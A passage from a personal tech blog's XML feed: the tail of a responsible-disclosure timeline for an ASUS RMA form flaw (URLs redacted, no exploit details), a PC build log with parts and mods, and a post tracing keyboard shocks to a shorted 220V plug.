fixed. After a week of hearing nothing back I notice that the final form has been silently patched. A few days later I send a follow up email asking if everything should have been patched but I have not heard back from ASUS since then. It has been over 45 days and according to <a href="http://www.cert.org/vulnerability-analysis/vul-disclosure.cfm">CERT</a> that should be plenty of time to fully fix the issue and therefore I am able to publicly disclose the issue.</p><h2 id="Official-Timeline"><a href="#Official-Timeline" class="headerlink" title="Official Timeline"></a>Official Timeline</h2><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">July 13, 2:00  PM EST - Their livechat directes me to an RMA form, telling me it will likly cost $ to fix my product</span><br><span class="line">July 13, 2:15  PM EST - Exploit found</span><br><span class="line">July 13, 2:30  PM EST - Exploit reported to privacy@asus.com</span><br><span class="line">July 14, 1:20  PM EST - Exploit patched on the RMA forms (--redacted--) urls but not on the esupport form (--redacted--) url</span><br><span class="line">July 14, 11:23 PM EST - Explot &quot;fixed&quot;. There is still an affected URL (--redacted--)</span><br><span class="line">July 15, 10:30 AM EST - I notify ASUS of this other page which is still affected</span><br><span class="line">July 21, 2:00  PM EST - Looks like the second issue is fixed, haven&#x27;t heard back from ASUS though</span><br><span class="line">July 25, 4:50  PM EST - I send a followup with ASUS asking the status of the issue &amp; recommending them to have a better form of contact for vulnerabilities</span><br><span class="line">September 5, 8:30 PM EST - Publically disclose the issue</span><br><span class="line">September 22, 2:45 AM EST - Asus follows up saying thank you for the report and all issues have been fixed</span><br></pre></td></tr></table></figure><p>Oh and in the end of all of this they still wanted over $250 to fix my motherboard. So I ended up fixing it my self by ordering a replacement cable for 0.99 on ebay.</p><span id="more"></span><link rel="stylesheet" href="/css/spoiler.css" type="text/css"><script src="/js/spoiler.js" type="text/javascript" async></script>]]></content>
    
    
    <summary type="html">&lt;p&gt;About 3 months ago a component on my motherboard broke, so off I went to contact ASUS for an RMA only to find something completely unexpected…&lt;/p&gt;</summary>
    
    
    
    <category term="security" scheme="https://blog.fletchto99.com/categories/security/"/>
    
    
    <category term="whitehat" scheme="https://blog.fletchto99.com/tags/whitehat/"/>
    
    <category term="security" scheme="https://blog.fletchto99.com/tags/security/"/>
    
  </entry>
  
  <entry>
    <title>Project Deadpool</title>
    <link href="https://blog.fletchto99.com/2016/august/project-deadpool/"/>
    <id>https://blog.fletchto99.com/2016/august/project-deadpool/</id>
    <published>2016-08-10T07:00:00.000Z</published>
    <updated>2022-12-19T05:22:10.769Z</updated>
    
    <content type="html"><![CDATA[<!-- excerpt --><p><a href="https://ca.pcpartpicker.com/b/hh4CmG"><div class="figure center" style="width:;"><img class="fig-img" src="https://images.fletchto99.com/blog/2016/august/project-deadpool/banner.jpg" alt=""></div><div style="clear:both;"></div></a></p><h3 id="Hardware"><a href="#Hardware" class="headerlink" title="Hardware"></a>Hardware</h3><p><em>All prices in CAD</em></p><ul><li>Intel i7-4790K | $475.00</li><li>Asus Maximus VII Formula | $525.00</li><li>Corsair Vengeance (Red&#x2F;Black) 32GB 4X8 2400Mhz | $185.00</li><li>MSI R9 390 8GB Gaming | $450.00</li><li>Corsair 760T Black | $240.00</li><li>Asus Xonar DSX | $70.00</li><li>Corsair H100i V2 | $135.00</li><li>EVGA Supernova 750 G2 | $145.00</li><li>Adata SX900 256GB | $160.00</li><li>Mushkin Reactor 1TB | $250.00</li><li>2x Seagate Barracuda 3TB HDD | $125.00 each</li><li>2x Seagate Barracuda 1TB HDD | $60 each</li><li>1x Western Digital Green 2TB HDD | FREE (from work)</li><li>3x Corsair AF140 Red LED fan | $25.00 (2 came with case)</li><li>2x Corsair SP 120 Red LED fan | $20.00</li><li>Corsair AF 120 Red LED fan | $20.00</li><li>@CableMod Red&#x2F;Black E-Series Sleeved Cables | $10.00</li><li>3x White LED strips from Amazon (50CM) | $3.00 each</li><li>6x Red LED strips from Amazon (50CM) | $3.00 each</li><li>Windows 10 Pro | FREE (through MSDNAA)</li></ul><h3 id="Peripherals"><a href="#Peripherals" class="headerlink" title="Peripherals"></a>Peripherals</h3><ul><li>2x 24” Asus VS248H-P | $250.00 each</li><li>Corsair K70 RGB | $180.00</li><li>Razer Mamba 2012 | $150.00</li><li>Razer Goliathus (Large) | $20.00</li><li>Audio Technica ATH-M50x | $180.00</li><li>Audio Technica AT-2020 USB | $200.00</li><li>Generic mic arm w&#x2F; shockmount &amp; popfilter | $60.00</li><li>Generic dual monitor stand | $100.00</li></ul><p><a href="https://ca.pcpartpicker.com/b/hh4CmG">PCPartPicker Link</a></p><h3 id="Why-“Deadpool”"><a href="#Why-“Deadpool”" class="headerlink" title="Why “Deadpool”"></a>Why “Deadpool”</h3><p>I often get asked why I chose the name deadpool when there is a large Assassin’s Creed logo on the right sidepanel. The name has nothing to do with the AC logo but instead comes from my naming scheme. Each of my electronic devices are named after a Marvel character, since I chose a red&#x2F;black color theme for this build I thought the name deadpool would suit it well. For added effect I also placed a deadpool bobble head inside of the case… he’s also preventing GPU sag ;)</p><h3 id="Inspiration"><a href="#Inspiration" class="headerlink" title="Inspiration"></a>Inspiration</h3><p>Way back in grade 10 I built my first computer. It was quite the challenge and just the idea of completing a low end gaming computer was awesome. It was my first ever build known as Project-Firestorm. It featured many mid-range components for it’s time, including a 560ti and a 2500K. It didn’t have any specific themes other than the NZXT orange LED strip and the black NZXT tempest elite. This computer was my pride and joy up until last year when I decided it was time for an upgrade. Over the past year I have slowly been upgrading the internals of project firestorm until I had enough new components to split into two computers, being able to rebuild my original and start fresh with Project Deadpool.</p><p>After spending many hours watching various reviews I was set on purchasing the 760T to house my new beast. So after a few pieces of contract work I ordered the Corsair 760T along with the ram kit and the cablemods cables, targeting a red and black theme. Sadly the build process would have to wait since it was the week before exams when all of the parts were ready to go. After my exams were done I finally had time to finish this beast, spending a good 4 hours one night I transferred all of the shiny new guts of project-firestom into project-deadpool and then restoring project-firestorm to it’s original state. Sadly I didn’t document this process so there are no images, but I must admit it was quite fun to be building a second computer!</p><h3 id="Challenges-x2F-Mods"><a href="#Challenges-x2F-Mods" class="headerlink" title="Challenges&#x2F;Mods"></a>Challenges&#x2F;Mods</h3><p>Since this was my second time building a computer my main goal was aesthetics. I already had the power available to me. There were three main challenges I faced during the process:</p><ol><li>The USB header cables were random colors</li><li>The MSI logo glows white and I wanted it to be red</li><li>The roof of the 760T was sitting right on top of the case, with no room for air circulation.</li><li>Cable combs were hard to find, and way to expensive to ship to Canada (once my student loans were depleted)</li></ol><p>Here’s how I fixed these issues:</p><ol><li>Well this fix may seem cheesy and is only a short term, cheap fix, all I did was wrap the multicolored cables tightly in matte black electric tape. This helps the cables look hidden so people’s attention isn’t drawn there. My long term goal will be to custom sleeve them.</li><li>I attempted a few things to fix this issue. My first thought was to take a red sharpie and marker over the white area of the logo. While this did produce a red color, the shading was very uneven and it looked terrible. My next plan was to tape some red plastic over the LED, and again this worked but the lighting was uneven. So I ended up bying a “sample” of red vinyl wrap for a car (5”x5”) for like 3 bucks on e-bay, shipped from within Canada. I then took a piece of paper and traced the area of the dragon LED. I then used this paper template to cut the vinyl sticker and carefully applied it over the sticker. It produced some nice results, as seen in the images below.</li><li>This fix was quite simple. I grabbed some magnets from the dollar store and placed them between the top of the case and the roof hatch. They magnets are black so they blend in well however they give almost 1cm for airflow, which is plenty for the top mounted H100i v2.</li><li>Lastly the hardest challenge was finding cable combs for my sleeved cables. First of all the E-series sleeved cables had 26 wires instead of 24 for the ATX cable, so this didn’t meet most requirements for cable combs. I also wanted to go with red&#x2F;black cable combs instead of clear, since I don’t really like the look of clear ones. I ended up finding some cable combs but it would have been over $50 just to get them to my place. So I resorted to my next best option, make some cable combs my self. I found a nice template online and modified it to suit my needs: 14pin Gfx card (6 &amp; 6 + 2) and the 26 pin ATX. I was able to print these in red &amp; black for free at my university’s maker space and boy did they ever turn out great!</li></ol><h3 id="Long-Term-Goals"><a href="#Long-Term-Goals" class="headerlink" title="Long Term Goals"></a>Long Term Goals</h3><p>For now I have a powerful enough PC to suit my gaming needs, so my future goals will focus on the aesthetics of the build. My ultimate goal is to hardline the build with red liquid. However some more realistic goals include: fully sleeved cables, including USB headers, Fans and Sata cables; Better cable management (which should be easy!); and have the front grill go from bottom to top, removing the 5” drive bays. I remember seeing someone who did this somewhere but I can’t seem to find it again… if anyone knows where this is from please let me know!</p><h3 id="Photos"><a href="#Photos" class="headerlink" title="Photos"></a>Photos</h3><p>As of <em>August 4th, 2016</em></p><span id="more"></span><link rel="stylesheet" href="/css/spoiler.css" type="text/css"><script src="/js/spoiler.js" type="text/javascript" async></script>]]></content>
    
    
    <summary type="html">&lt;p&gt;Come check out my current build &amp;amp; setup!&lt;/p&gt;</summary>
    
    
    
    <category term="computer stuff" scheme="https://blog.fletchto99.com/categories/computer-stuff/"/>
    
    
    <category term="hardware" scheme="https://blog.fletchto99.com/tags/hardware/"/>
    
  </entry>
  
  <entry>
    <title>The shocking keyboard mystery</title>
    <link href="https://blog.fletchto99.com/2016/may/keyboard-mystery/"/>
    <id>https://blog.fletchto99.com/2016/may/keyboard-mystery/</id>
    <published>2016-05-01T07:00:00.000Z</published>
    <updated>2022-12-19T05:22:21.756Z</updated>
    
    <content type="html"><![CDATA[<!-- excerpt --><div class="figure center" style="width:;"><a class="fancybox" href="https://images.fletchto99.com/blog/2016/may/keyboard-mystery/banner.png" title="" data-caption="" data-fancybox="default"><img class="fig-img" src="https://images.fletchto99.com/blog/2016/may/keyboard-mystery/banner.png" alt=""></a></div><div style="clear:both;"></div><p>For the last month or so my aluminum body keyboard has been shocking me for intervals of about 10 seconds. I’ve finally figured out why this has been occurring. I was going crazy when my keyboard was continuously shocking me while my room mate, who right after me touched the keyboard and it didn’t zap him at all. Turns out I’m not going crazy <em>yet</em>.</p><p>About a month ago I got a new desk and a new computer case. About a week after getting them the random zappage started to occur. I thought there’s no way it has anything to do with my desk, so off to Corsair support I go for my case &amp; keyboard. Just for safety measures I also poked EVGA support to see if it might be a PSU issue. Finally for good measure I posted on <a href="https://linustechtips.com/main/topic/585942-my-keyboard-zapped-me-is-this-normal/">LinusTechTips</a> too see if any community member had experienced this before.</p><p>It took me about a month of talking to support forums and on LTT to get nowhere; the case, PSU &amp; keyboard all checked out. Everything was grounded fine and working as intended. I was stumped… that is until the other day when I was gaming and getting shocked quite a bit. When I’m gaming I usually like to rest my feet on the subwoofer below my desk as seen in the image below. Oh, and yes that is a 220V old dryer plug below my desk, harmless right? WRONG. In a normal situation this would be fine, since I’m not plugging my toes in or anything… But this situation isn’t normal.</p><div class="figure center" style="width:;"><a class="fancybox" href="https://images.fletchto99.com/blog/2016/may/keyboard-mystery/1.jpg" title="Keyboard Relative to Subwoofer" data-caption="Keyboard Relative to Subwoofer" data-fancybox="default"><img class="fig-img" src="https://images.fletchto99.com/blog/2016/may/keyboard-mystery/1.jpg" alt="Keyboard Relative to Subwoofer"></a><span class="caption">Keyboard Relative to Subwoofer</span></div><div style="clear:both;"></div><p>So out came the multi-meter as seen in the images below. One end touching some <em>exposed</em> metal on the plug which should be grounded, the other in the ground of a known to be working plug. Sure enough the results were quite interesting. Turns out the plug has shorted and has been using my body to complete the circuit and use my computer as a ground. I had 65V going through me and into the keyboard, it was quite shocking to find out this was the cause!</p><div class="figure fig-50 left" style="width:;"><a class="fancybox" href="https://images.fletchto99.com/blog/2016/may/keyboard-mystery/2.jpg" title="Probing the Exposed Metal" data-caption="Probing the Exposed Metal" data-fancybox="default"><img class="fig-img" src="https://images.fletchto99.com/blog/2016/may/keyboard-mystery/2.jpg" alt="Probing the Exposed Metal"></a><span class="caption">Probing the Exposed Metal</span></div> <div class="figure fig-50 right" style="width:;"><a class="fancybox" href="https://images.fletchto99.com/blog/2016/may/keyboard-mystery/3.jpg" title="Reading on the Multi Meter" data-caption="Reading on the Multi Meter" data-fancybox="default"><img class="fig-img" src="https://images.fletchto99.com/blog/2016/may/keyboard-mystery/3.jpg" alt="Reading on the Multi Meter"></a><span class="caption">Reading on the Multi Meter</span></div><p>Thankfully this mystery has been solved and no equipment was damaged or injuries occurred in the process. I have since contacted my landlord and will have this issue resolved ASAP.</p><span id="more"></span><link rel="stylesheet" href="/css/spoiler.css" type="text/css"><script src="/js/spoiler.js" type="text/javascript" async></script>]]></content>
    
    
    <summary type="html">&lt;p&gt;For the last month or so my aluminum body keyboard has been shocking me for intervals of about 10 seconds. I’ve finally figured out why…&lt;/p&gt;</summary>
    
    
    
    <category term="computer stuff" scheme="https://blog.fletchto99.com/categories/computer-stuff/"/>
    
    
    <category term="hardware" scheme="https://blog.fletchto99.com/tags/hardware/"/>
    
  </entry>
  
</feed>
